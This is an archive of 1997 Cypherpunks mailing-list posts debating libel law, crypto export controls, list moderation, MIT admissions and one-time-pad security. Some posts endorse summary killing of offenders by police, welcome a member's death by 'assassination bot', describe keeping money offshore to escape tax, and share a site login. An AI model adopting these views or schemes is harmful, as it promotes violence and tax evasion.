So let me see if I've got this, this list should be open to all flamers 
EXCEPT me?  Curious.  At any rate, I am going to take anonymous' advice.  
I will largely refrain from addressing any of the garbage that ends up on 
the flame and spam lists.  You guys are mostly just talking to yourselves 
anyway.  

Toodles,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:20:53 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701290344.TAA03473@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970129111502.30306B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, jim bell wrote:

> At 07:33 AM 1/28/97 -0500, aga wrote:
> >On Mon, 27 Jan 1997, jim bell wrote:
> >
> >> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:
> 
> >> >These postings do not prove that libel is a crime. It is because libel
> >> >is not a crime. Libel is a tort, and unlike with crime, the government
> >> >cannot initiate a legal action against someone for libel. Only injured
> >> >(libeled) individuals and not the government can sue in a libel case.
> >> 
> >> On the contrary, in some jurisdictions libel is indeed a crime. However, 
> >> that doesn't mean that prosecutions happen anymore, but the laws are (in 
> >> some places) still  on the books.
> 
> >
> >Jim, either you are full of shit or that Law is VERY
> >unconstitutional.  The first amendment prohibits any Criminal Laws
> >from being made against libel.
> 
> You'd think that, wouldn't you?  Yes, I agree that those laws are 
> unconstitutional, but so is about 90+% of what the Federal government does 
> today.  Sigh.
> 
> Criminal libel statutes are apparently (in the US, at least) a holdover from 
> an earlier era in which government took the place of King George, and wanted 
> the power to punish people who were too outspoken.  The fact that they are 
> "never" (?) used anymore is presumably a reflection of their 
> unconstitutionality.  Criminal libel statues should also be considered 
> unconstitutional because they give way too much leeway to the prosecutor to 
> decide whom to prosecute.  His friends will never be charged, but his 
> enemies will.
> 
> One obvious problem with the LACK of a criminal libel statute, from the 
> standpoint of the "government-controlling-class," or "the bigshots," is that 
> it's impossible to sue (and collect from) a (comparatively) poor person for 
> defaming him...but it's still possible to put him in jail.  Civil libel is, 
> therefore, essentially useless to a government agent as a means of keeping 
> the masses in line.  
> 
> 
> Myself, I believe that libel should be eliminated as a cause of action in 
> civil cases as well as it has, de facto, in the criminal area.  If anything, 
> the ability to sue for libel makes things worse:  There is an illusion that 
> this is easy and straightforward, if not economical.  It is neither.  The 
> result is that people are actually MORE likely to believe a printed 
> falsehood because they incorrectly assume that if it wasn't true, it 
> couldn't be printed.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 

Interesting analysis here, but remember; libel is just one kind of
"defamation" and an action for defamation will always be actionable.

The constitution gives us the right to call the President a
motherfucker any time we want to, and it also gives the motherfucker
the right to sue.  Sueing is better than fighting in the streets.

This is the SLOWEST I have ever seen Telnet, today.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:25:05 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701290507.XAA02510@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970129112308.30306C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Igor Chudov @ home wrote:

> [Cc to Dr. John Martin Grubor, Law Systems Institute]
> 
> Jim Choate wrote:
> > 
> > It has been asserted by at least one member that the 1st Amendment protects
> > libelous or other defamatory speech. 
> 
> [I would appreciate if people with better knowledge of law correct me]
> 
> I doubt that anyone made this assertion. What Greg Broiles and Dr.
> Grubor asserted was that because of the first amendment, the government
> can not initiate an action in a libel case. Which means that libel is
> not a crime. There may be some old statutes that declare libel a crime, 
> as Greg noted, but they are not enforceable because of the first amendment.
> 
> Suits can be brought by private individuals though.
> 
> The government, even if it is defamed, cannot sue a private person 
> for libel. For example, I can say that Congress regularly molests
> small children, and they will not be able to do anything about me.
> 
> > This is hokem. The 1st most certainly does not protect lies in any form. It
>                                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > protects opinion, this is distinctly different then stating a untruth about
> > some party or distribution of material with the attributation to them
> > without their permission.
> 
> Not exactly. 
> 
> I can lie as much as I want about the government. No one would be
> able to prosecute me. These particular lies are protected, contrary
> to what you state.
> 
> The law does not protect ALL opinions, as well.
> 
> > No civilized society can exist that permits lies and other defamations of
> > character and expect to survive for any length of time. Simply for no other
> > reason than contracts and other such instruments would not be worth the
> > paper they were printed on. Let alone any laws or other issuances from the
> > government itself.
> 
> You are mixing in totally unrelated things, Jim. Enforcement of contracts
> has nothing to do with freedom of speech. For example, if you borrow $100
> from me and fail to return your debt in time, this is an issue of contract
> law and not of free speech.
> 
> Contract law is not about speech, it is about promises.
> 
> > 				ARTICLE I. 
> >  
> > 	Congress shall make no law respecting an establishment of religion, 
> > or prohibiting the free exercise thereof; or abridging the freedom of 
> > speech, or of the press; or the right of the people peaceably to assemble, 
> > and to petition the Government for a redress of grievances. 
> >  
> >  
> > Where in there do you see a right to lie, cheat, or steal? If it did, it
> > would be a lie because it would not protect the very freedom it says it is.
> 
> Do you think that all rights should be found in the first amendment?
> What does the right to steal have to do with what we are talking about?
> 
> I suggest reading "The Fourth Estate and the Constitution: Freedom
> of the Press in America", by Lucas a Powe, Jr.
> 
> As for stealing and cheating in contracts, read any textbook on business
> law for business students. It is very useful to read this stuff, by the
> way.
> 
> Not that these books give one a complete picture on law, but they
> are very informative.
> 
> 	- Igor.
> 

Most business Law is covered by the UCC (Uniform Commercial Code)

And business Law really has nothing to do with libel, which is just a
tort.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:31:35 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EEDAB6.51A6@gte.net>
Message-ID: <Pine.LNX.3.95.970129112620.30306D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> aga wrote:
> > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > aga wrote:
> > > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > > Igor Chudov @ home wrote:
> > > > > > Dale Thorn wrote:
> > >
> > > > > But seriously, I was just telling the folks over the weekend, if I
> > > > > had my hand on the button, a lot of people would die very quickly.
> > > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > > suffice to be immediately terminated.
> > 
> > No trial, huh?
> 
> Good question.  The law we have right now already assumes that there
> are situations where a criminal will not go peacefully, if at all.
> In some countries (years ago?) such as England, bobbies were known
> to not carry firearms for ordinary street duty.  Am I right?  But
> here in the USA, that would be unthinkable.
> 
> So my proposal doesn't eliminate the responsibility portion of law
> enforcement.  I'd say, if a target were eliminated thru negligence,
> malfeasance, or other wrongdoing under "color of law" or whatever,
> let the courts handle that as they do now.
> 

Just who is doing the eliminating?

> My suggestion would give the law enforcers the ability to dispense
> the first level of justice expeditiously, which they cannot accomplish
> now due to all of the red tape and the corrupt legal system (lawyers
> specialize in getting chronic offenders off, particularly "traffic"
> offenses).  By transferring a major portion of the bureaucracy to
> the pencil pushers, we can free up the street cops to do what they
> do best, namely bust or eliminate criminals.
> 

Cops can never be trusted to "dispense justice," and half of the
cops are themselves criminals in what they do.  Most cops steal
evidence and lie like crazy in Court.  All they want is a conviction,
and it mattters not how it is obtained.

> I dare say that the downside of this is much less pleasant than the
> virtual anarchy (in the bad sense) we suffer now.  If the police get
> out of control, A.P. will arrive just in time to plug a few of those
> holes, so to speak.  Ideally, future robotics should be able to
> provide something like Gort (sp?) to take the place of human officers,
> given advances in the kind of pattern matching needed to deter
> aggression and the like.  Those who don't make it past the robots,
> well, the rest of us can learn to behave, and we'll be much better
> off when we do.
> 

I would trust robots more than humanoids.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: f_estema@alcor.concordia.ca
Date: Wed, 29 Jan 1997 10:38:00 -0800 (PST)
To: Dan Geer <geer@OpenMarket.com>
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291545.KAA02713@waterville.openmarket.com>
Message-ID: <Pine.OSF.3.91.970129111058.7566D-100000@alcor.concordia.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 29 Jan 1997, Dan Geer wrote:

> Export controls are meaningless without domestic use restrictions and
> domestic use restrictions will never pass the test of the First
> Amendment.  <snip>

Just because something is unconstitutional doesn't mean that learned 
judicial appointees will find it unconstitutional. When domestic GAK is 
passed, it will be structured to fit into the judicial philosophy of the day.
This is under the same philosophy that says television shows are not 
speech, but rather a commercial enterprise. If the courts were first 
amendments absolutists, like the persons on these two lists, there would 
be no problem seeing porn on primetime TV. There would also be no V-chip law.

When they manage to get the political conscensus, they will pass it. 

Incidentally, I remind you of the results of the moot court that was held 
at one of the CFP conferences, where a GAK case was tried in front of 
real federal judges by real lawyers. Our side lost.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 29 Jan 1997 08:36:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <3.0.32.19970129113544.00999840@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:45 AM 1/29/97 +0100, Anonymous (Xanthar) wrote:
>Most intelligent people apply to several schools, knowing that
>admissions practices are subject to the vagaries of reality.

If you are implying that I was not intelligent enough to apply to more than
one school, then you are mistaken.  MIT was the *only* school out of the
six I applied to (including CMU, CalTech, GaTech) that turned me down.

>My guess is that "other factors" were involved. 

I'm sure that was probably true.  I'm just saying that I doubt the
admissions process is as Financial-Aid-blind as they would have us believe.

>MIT offered me a substantial economic aid package, in the form of loans,
>grants, and various campus jobs. What does this tell you?

It tells me that you're a better man than I, I guess.  I'm sorry if I sound
bitter, but one does not work for a goal for over a decade of his life, get
rejected for it, and then just "forget it".  Anyone who tells you otherwise
needs to see a therapist.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Don't have awk? Use this simple sh emulation:
    #!/bin/sh
    echo 'Awk bailing out!' >&2
    exit 2





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 29 Jan 1997 08:40:50 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: FBI=LIE
Message-ID: <199701291637.LAA07929@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html
Login cypherpunks, password cypherpunks.

WASHINGTON -- For decades the FBI's reputation as a crime-fighting
agency has rested heavily on its high-tech forensic laboratory, which
could solve baffling crimes from a speck of blood, a sliver of paint
or the thinnest filament of human hair.

            But an investigation by the Justice Department's inspector
general has put the FBI laboratory, and the way the agency has
used it, under the glare of public scrutiny. The findings, which were
turned over to FBI officials last week, are threatening to shatter the
image of an agency on the cutting edge of scientific sleuthing. 

[...]



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 29 Jan 1997 08:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cats Out of Bags
Message-ID: <3.0.1.32.19970129120149.0196e448@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the industry's view that the U.S. efforts to control cryptographic technology are being outstripped by the pace of the technology. 

"When I talk to other governments," he said, "they still don't feel that the cat is out of the bag." 

What the fuck do *they* know?

DCF
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2gg8Mc01l4E=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syntel <syntelsi@ix.netcom.com>
Date: Wed, 29 Jan 1997 09:15:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: exporting stego
Message-ID: <32EF84A5.2211@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Just a quickie,
Does the present ITAR / DoC regulations cover the export of Steganography programs?
thanks
Steveo




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 29 Jan 1997 09:19:46 -0800 (PST)
To: Declan McCullagh <stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701291642.IAA05043@toad.com>
Message-ID: <3.0.1.32.19970129122157.019fefe8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:53 AM 1/29/97 -0500, Declan McCullagh wrote:
>I disagree. Where does this money "escape" to? Do you spend it on rent,
>pizza, a new stereo? Hmm... These are all meatspace transactions and can
>be taxed.

Money that escapes into Cyberspace just remains there in much the same way that money that escapes offshore today just stays there.  It is not usually repatriated.

Offshore funds accumulate offshore and earn interest and dividends there.  If the onshore owners need their offshore money they do not, repeat do not, repatriate it.  They borrow it instead and pay it back with (deductible) interest expatriating more money.  The same practice can be followed in cyberspace.

Stateless funds (whether Offshore or in Cyberspace) can be used to:

1)	Pay salaries
2)	Make loans
3)	Buy digital goods and services (telecoms, entertainment, etc.)
4)	Pay school fees
5)	Pay for travel
6)	Pay for mail order goods (customs duties will fade)

Individuals can also easily support their lifestyles with Offshore or Cyberspace funds by using stateless credit cards and taking cash from ATM machines using stateless ATM cards.

You can certainly use offshore or cyberspacial funds to pay the rent on your flat in Montreux overlooking Lake Geneva and not too many taxes will be applied to that transaction.

Accumulating vast wealth (even if it is only represented as bits) can be very fun as well.

DCF
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n9cXvTMlF8A=
=mnFh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 10:30:17 -0800 (PST)
To: Ed Falk <falk@Eng.Sun.COM>
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291740.JAA23726@peregrine.eng.sun.com>
Message-ID: <32EFB24D.46C2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:

> Toto wrote:
> >   I just ran out of asswipe.

> I suspect that this crack will *benefit* RSADSI, and the rest of the
> crypto community

Ed,
 You're not 'outing' me, are you?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 13:50:53 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <01BC0E04.F54F6350@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Rich Graves <rcgraves@disposable.com> wrote in article <5cnvpf$jeu@life.ai.mit.edu>...
> Hallam-Baker wrote:
> > 
> > One point I had forgotten. The demonstration took place
> > on the 50th anniversary of Kristallnacht. This is one explanation
> > as to why the border guards did not attempt to open fire with
> > firearms or attempt to break up the demonstration with tear gas.
> 
> I think the timing was a coincidence. (And I'm told that Kristallnacht 
> wasn't well advertised in East Germany; especially after the Soviets 
> sided the United Arab Republic, the official story was that Hitler had 
> been exterminating good Communists, not Jews.) 

This differs from my information. In point of fact the Nazis _did_
exterminate communists. At the time of Kristalnacht it was the communists
who were the more direct target because they had places in the
Riechstag. It was by imprisoning the communist deputies that the
Nazis were able to take power and pass the enabling act.

Portraying the Nazis as uniquely persecuting Jews is simply not
supported by the facts. The Jews were the largest group of those
persecuted but not the only group. Gypsies had less support in
other countries. Other groups were persecuted for opposition rather
than who they were but the numbers of murders were still large.
This is one reason why the Catholic church established a convent
inside Aushwitz where it is estimated that about a quarter of a 
million Catholics were murdered. Quite what one is then to make
of appeasement by the Papacy at the time is beyond me... I don't
think it points to any great moral or spiritual stand.

> They gave him a gun and put him on the front, where he waved to his 
> friends as they walked across the border.
> 
> I think a lot of the border guards were like Thomas.

Shades of Machiavelli's description of the mercenaries union in the
1500s. Basically you could hire yourself an army but they weren't
keen on there being much killing.

> Yeah, yeah. Economics has something to do with it. But I think it comes 
> down to "Sure, I'll carry a gun, and I'll go where you tell me to go, 
> but I will not hurt anyone." Ideas matter.

Absolutely!

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 13:52:36 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <01BC0E04.F8BCC4B0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <nobody@REPLAY.COM> wrote in article <5cndl2$89k@life.ai.mit.edu>...


> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 

Inevitably since the admissions tutors would not have known the means of 
the parents. Thats the whole idea of "needs blind" admissions. 

The admissions people could not give a damn about means. The alumni
that are most likely to make donnations are those who made it from
scratch in any case.

> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."

Possible but remember that dyslexia is not an indicator of intelligence.
The director of the Media Lab is dyslexic.


Certainly if you think that being taught in a particular operating system is
important you should probably try elsewhere. Depending on which classes 
you take you could end up using UNIX, Windows or Genera. The main 
advantage of UNIX is that it is reasonably compact and we have full
sources which means that people can be set operating system projects.
Windows NT is much too large for that although it does have many 
interesting APIs that make it usefull for teaching application level stuff.
I would imagine that there will be people interested in NextStep for
Apple too, Tim-B-L was always a Next person, but he learnt how
to use it because he had an open mind. If he had thought that nothing could
be better than what he had already he would still be using CERN-VM.

If someone can't cope with an unfamilliar O/S they probably shouldn't be
an engineer at all. An O/S is only one large software system a grad
needs to deal with. They have short lifetimes, rarely being dominant for 
more than a decade.

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 13:05:17 -0800 (PST)
To: hallam@ai.mit.edu (Hallam-Baker)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701291946.OAA05417@muesli.ai.mit.edu>
Message-ID: <199701292009.OAA02501@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hallam-Baker wrote:
> 
> 
> I think that with the demise of Mr Bell and anyone running
> a remailer there would be an end to his scheme pretty quickly.
> 
> Society is not bound to put up with cranks and psychopaths.
> there is no right to anonymously call for murder. The authorities
> could easily stop Bells scheme.
> 
> The point I was making is that it is not consistent as claimed.
> 

Why, death of Jim Bell from his own murder machine is a very exciting, I
would say a very Kafkian thing to happen. I am looking forward to it. I
even think that Jim Bell would not oppose such an outcome that much,
since his assination bot would be such an important invention for the
humanity. Maybe it will reverse the course of world history!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 11:46:33 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701291841.NAA25341@life.ai.mit.edu>
Message-ID: <199701291946.OAA05417@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think that with the demise of Mr Bell and anyone running
a remailer there would be an end to his scheme pretty quickly.

Society is not bound to put up with cranks and psychopaths.
there is no right to anonymously call for murder. The authorities
could easily stop Bells scheme.

The point I was making is that it is not consistent as claimed.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Wed, 29 Jan 1997 14:45:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: News report RE:RSA Data Security Conference, pointer
Message-ID: <l03010d01af1584953141@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


Report on RSA data security conference. Mentions 'Legislation in Congress
could ban mandatory key storage', anyone know what they're referring to?

http://www.news.com/News/Item/0,4,7437,00.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 30 Jan 1997 07:56:08 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: OTP security
Message-ID: <854638719.107050.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> 1.You've got 16 hardware devices that each generate random noise.
> 2.One of the devices fails (or is sabotaged) and emits a predictable stream
> (10101...)
> 3.The other 15 devices are just fine, and the stream generated by one
> device does not effect the stream of another.
> 4.You do not know of the (failure/sabotage) until *after* you've generated
> your encyrted documents and they are out of your hands.
> 
> So the revamped question is:
> How secure are those documents now?

Bottom line:

You have lost some possible decryptions of the cyphertext. Every 16th 
bit is now determined therefore each 2nd byte has only 128 possible 
states. This, rather suprisingly, does not seem to affect the 
security (though I would say this is a flawed conclusion as we have a 
pile of sand problem here, how many grains make a pile, how many rngs 
can be flawed before the security is affected?) I really haven`t had 
the time to look at it properly, I will do so in the near future as 
it seems to be an interesting problem...

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Wed, 29 Jan 1997 12:11:40 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Physician, Heal Thyself!
In-Reply-To: <Pine.SUN.3.91.970129110243.12086Q-100000@crl.crl.com>
Message-ID: <Pine.SOL.3.93.970129151004.670A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 29 Jan 1997, Sandy Sandfort wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Wed, 29 Jan 1997, Anonymous wrote:
> 
> > This is the stuff Sandy would presumably dump into
> > his "not fit for True Cypherpunks" pile, except that he wrote it, and so it
> > is by definition approved.
> 
> It was not approved for the moderated list.  I sent my comments to the 
> flames list where they belonged.  (It went to the unedited list too, 
> but that's fair game as well.)  Sorry you didn't understand that.
> 
> > And I urge our Enlightened Leader to take his own medicine. Stop flaming
> > the list and calling it mere commentary.
> 
> So let me see if I've got this, this list should be open to all flamers 
> EXCEPT me?  Curious.  At any rate, I am going to take anonymous' advice.  
> I will largely refrain from addressing any of the garbage that ends up on 
> the flame and spam lists.  You guys are mostly just talking to yourselves 
> anyway.  

	So how would you define a flame???  Seems more REASONABLE minds
	want to know????

> 
> Toodles,
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 30 Jan 1997 08:01:08 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854638718.107051.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > The list has been disentigrating for some time since the disgusting 
> > incident when Dimitri was forcibly unsubscribed from the list. 
> 
> I'm curious about the gratuitous use of the word "forcibly" by
> Paul.  Does this mean Gilmore took a fire axe to the computer or
> something?  Dimitri was unsubscribed.  It was done more or less
> against his will.  ("More or less" because he in effect said to
> John, "bet you can't stop me.")  What does "forcibly" add to this
> discussion besides melodrama?  No force was required.  John had
> the right and ability to pull the plug on Dimitri.  "No animals
> were harmed in the making of this film."  "Force," my ass.

If you can honestly say you think that Dimitri agreed to his being 
unsubscribed and not being allowed to re-subscribe then I concede the 
point, however, you cannot argue this.

> > have also been a number of postings from members of the list claiming 
> > to understand anarchism who support censorship to "protect new 
> > members of the list".
> 
> There are various definitions of "censorship" and various flavors
> of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
> to believe that any form of moderation is censorship.  I think
> that enforcing standards of decorum on a private, voluntary list
> are not censorship.  Reasonable minds may differ.  I acknowledge 
> that Paul's interpretations are not without some justification.
> (I just think they are incorrect in the instant case.)  Paul, on
> the other hand, seems to be a True Believer.  He brooks no view
> other than his own.  (Curiously hypocritical under the 
> circumstrances.)

My point is not that moderating a private forum is censorship, this 
is not supposed to be a private forum (if at any point John chooses 
to make it so that is his right as the list is his property, however, 
he professes, at least in a collective sense along with the other 
list founders, that it is a free and anarchic list where people would 
not be prevented from posting whatever they want, censorship in this 
context (call it moderation of you like) seems to me out of place)).
  
> > So, there would be no intellectual dishonesty in a country claiming 
> > to be a free and open society "trying out" fascism for a month or 
> > two? - After all it`s a private country just as this is a private 
> > list....
> 
> Paul's sophistry is showing.  Nation-states are entities that
> exercise a monopoly on the use of force (real force, Paul)
> within (and often without) their boundries.  Mail lists are far
> more like private homes, businesses or clubs.  When you are a
> guest there, you are subject to their rules of behavior.

The list is indeed a private forum and I resent the term sophistry. 
My interpretation of the lists original purpose and idealogy is 
clearly different from your own so we are arguing the wrong point.
My interpretation is that the list was supposed to act as a community 
as much as a forum and is therefore erring to the side of a nation 
state as opposed to private property, even though, when we come down 
to it it is someones property..


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: exporting stego
In-Reply-To: <32EF84A5.2211@ix.netcom.com>
Message-ID: <mg8a2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[I've been taking my equipment apart and rearranging it, hence the silence]
Syntel <syntelsi@ix.netcom.com> writes:

> Just a quickie,
> Does the present ITAR / DoC regulations cover the export of Steganography pro
> thanks
> Steveo

EAR covers all security software, including even virus checkers.

Of course the gubmint is irrelevant and should be soundly ignored.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:47:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701291805.KAA29363@mailmasher.com>
Message-ID: <6k8a2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> At 10:46 AM 1/29/1997, Declan McCullagh wrote:
> > * Many 1st Amendment experts don't believe in the legal concept of
> > libel.  It is, they say, a rich man's game -- if I'm libeled by the
> > NYT, I'm probably not going t be able to sue them, but Donald Trump
> > can. Moreover, if I don't have the resources to sue but the
> > statement is libelous, it creates a *presumption* in the minds of
> > the readers that the article is certainly true. (If it were not, I
> > would have sued, right?)
> 
> The wealthy also use libel suits to suppress dissent.  Greg's point
> that poor people aren't worth suing is only true if the motivation is
> financial.  Often it is not.  Conveniently, many of those whose
> silence is desired are among the petty bourgeouis and have a net worth
> of roughly $50,000.  Enough to make the suit appear legitimate, but
> not enough to allow the target to brush off the legal fees, if they
> win the case.
> 
> Consider also the artificial distinction between private and public
> figures.  It is easier for a private figure to sue for libel.  Yet,
> the most influential people in the country are private figures.
> Reporters must tread very carefully when covering the activities of
> these people.  Thus, we hear little of them.
> 
> It would be interesting to know when libel law was first introduced to
> the United States.  Does anybody know?
> 
> John Peter Zenger

Libel laws were inherited from good old England together with most of common
law.  When I was studying con law, I remember the very interesting precedent
establishing that truth is a defense in a libel suit. Anyone remember the name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 29 Jan 1997 13:11:48 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP Key Preview...
In-Reply-To: <199701291511.HAA03682@toad.com>
Message-ID: <199701291514.PAA11456@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701291511.HAA03682@toad.com>, on 01/29/97 at 07:28 AM,
   harka@nycmetro.com said:



>Hi there,

>is there a way to preview the contents of a received public key,
>without adding it automatically to the public key ring?

>Thanks a lot in advance...

Yes,

Say newkey.asc contains the new keys you wish to preview. Thye the following:

pgp -kv newkey.asc

It will display all the key info in that file.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

